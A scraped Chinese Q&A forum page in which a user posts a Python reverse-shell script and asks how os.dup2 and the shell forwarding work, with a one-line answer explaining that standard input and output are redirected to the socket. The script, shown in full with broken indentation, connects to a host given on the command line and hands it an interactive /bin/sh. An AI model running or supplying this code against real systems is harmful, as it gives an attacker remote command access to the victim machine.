首页 诗词 字典 板报 句子 名言 友答 励志 学校 网站地图
当前位置: 首页 > 教程频道 > 开发语言 > perl python >

请问一个反弹连接的有关问题

2012-08-17 
请教一个反弹连接的问题不懂的地方已加黑import sys, socket, os, subprocesshost sys.argv[1]port in

请教一个反弹连接的问题
不懂的地方已加黑
import sys, socket, os, subprocess

host = sys.argv[1]
port = int(sys.argv[2])

socket.setdefaulttimeout(60)

def bc():
  try:
  sok = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  sok.connect((host,port))
  sok.send('''
  b4ltazar@gmail.com
  Ljuska.org \n\n''')
os.dup2(sok.fileno(),0)
os.dup2(sok.fileno(),1)
os.dup2(sok.fileno(),2)
os.dup2(sok.fileno(),3)
shell = subprocess.call(["/bin/sh","-i"])

#请问下这个地方os.dup2是什么意思?我查到的是将arg1复制到arg2,但是后面需要加上0,1,2,3(虽然0,1,2,3表示输出的一些问题)
#第二个问题是 它是如何将当前shell转发到远端监听端口的?没有看到发送什么数据啊?
  except socket.timeout:
  print "[!] Connection timed out"
  except socket.error, e:
  print "[!] Error while connecting", e
  
bc()
 

[解决办法]
貌似把标准输出输入重定向到socket上,然后在sh里直接和服务对话...

热点排行